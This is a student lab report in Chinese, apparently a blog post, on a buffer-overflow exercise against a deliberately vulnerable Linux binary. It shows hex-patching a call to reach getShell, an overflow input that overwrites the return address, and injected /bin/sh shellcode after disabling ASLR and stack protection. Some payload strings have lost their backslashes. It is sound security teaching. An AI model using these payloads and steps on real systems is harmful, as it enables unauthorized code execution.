• 20165319 Exp1 PC平台逆向破解


    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学

    习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode.。

    三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    
    注入一个自己制作的shellcode并运行这段shellcode。
    

    这几种思路,基本代表现实情况中的攻击目标:

    运行原本不可访问的代码片段
    
    强行修改程序执行流
    
    以及注入运行任意代码。
    

    实验指令

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    JE:条件转移指令,如果相等则跳转。(机器码:74)

    JMP:无条件转移指令。段内直接短转Jmp

    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    实验1 直接修改程序机器指令,改变程序执行流程

    1.使用objdump -d pwn1将pwn1反汇编

    从上图可以看出,80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。

    vi pwn1进入命令模式

    输入:%!xxd将显示模式切换为十六进制

    在底行模式输入/e8 d7定位需要修改的地方,并确认

    然后通过输入模式,将d7改成c3。

    输入:%!xxd -r将文件转换为ASCII码形式,输入:wq保存并退出。

    反汇编查看修改后的代码,发现成功转换。

    运行修改后的代码可得到shell提示符。

    实验2 通过构造输入参数,造成BOF攻击

    进入gdb,输入1111111122222222333333334444444412345,会发现如下情形

    这说明缓冲区溢出。

    再输入1234567812345678123456781234567855555555
    也会溢出。
    输入info r可看到

    从上图可以看到eip寄存器中的值为0x35353535。

    再输入1234567822345678323456784234567852345678
    溢出后,输入info r

    看到eip的值为0x34333235

    从上述可知寄存器的值是第36-33位。

    那只要把这四个字符替换为 getshell 的内存地址,输给20165319pwn2,20165319pwn2就会运行getshell。

    由反汇编结果可知getShell的内存地址为:0804847d

    退出gdb后,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    通过管道符|,作为pwn1的输入,格式为(cat BOF.1; cat ) | ./20165319pwn2

    实验3 注入Shellcode并运行攻击

    首先使用 apt-get install execstack命令安装execstack。 然后接连输入:

    execstack -s pwn2016513 //设置堆栈可执行
    execstack -q pwn2016513 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space

    构造一个字符串:

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    打开另一个终端输入

    (cat input_shellcode;cat) | ./pwn1

    在原来终端输入ps -ef | grep pwn

    在gdb里面attach 35503进行调试

    disassemble foo反编译

    可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae

    在另一个终端按下回车,这样程序就会执行之后在断点处停下来

    再在gdb调试的终端输入 c 继续运行程序

    输入info r
    可看到esp为0xffffd2fc

    则注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd2fc + 0x00000004 = 0xffffd300

    输入perl -e 'print "A" x 32;print"x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    输入(cat input_shellcode;cat)|.20165319pwn3

    攻击成功。

    实验感想,漏洞危害

    漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。这些缺陷、错误或不合理之处可能被有意或无意地利用,从而对一个组织的资产或运行造成不利影响,如信息系统被攻击或控制,重要资料被窃取,用户数据被篡改,系统被作为入侵其他主机系统的跳板。。

    通过此次实验,我复习了linux和汇编的相关指令,更深地理解了堆栈是怎么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的;也在实践中掌握了一些常用的指令的机器码以及寄存器的功能。过程中参考了学长学姐的博客才能顺利进行,让我深刻感受到实践能力的缺乏。今后应多加练习,熟能生巧。

  • 相关阅读:
    Android smali 语法
    iOS 发布计费点测试
    how-to-stop-non-jailbroken-pirates-theory
    shell script
    文章收藏
    NB BAT批量读取图片文件属性
    JAVA LUHN
    MAC NDK 编译 Cocos2dx 问题
    Mac 下解压缩安装Android ndk bin 文件
    MVC Json输出调试信息
  • 原文地址:https://www.cnblogs.com/gstgst/p/10534345.html
Copyright © 2020-2023  润新知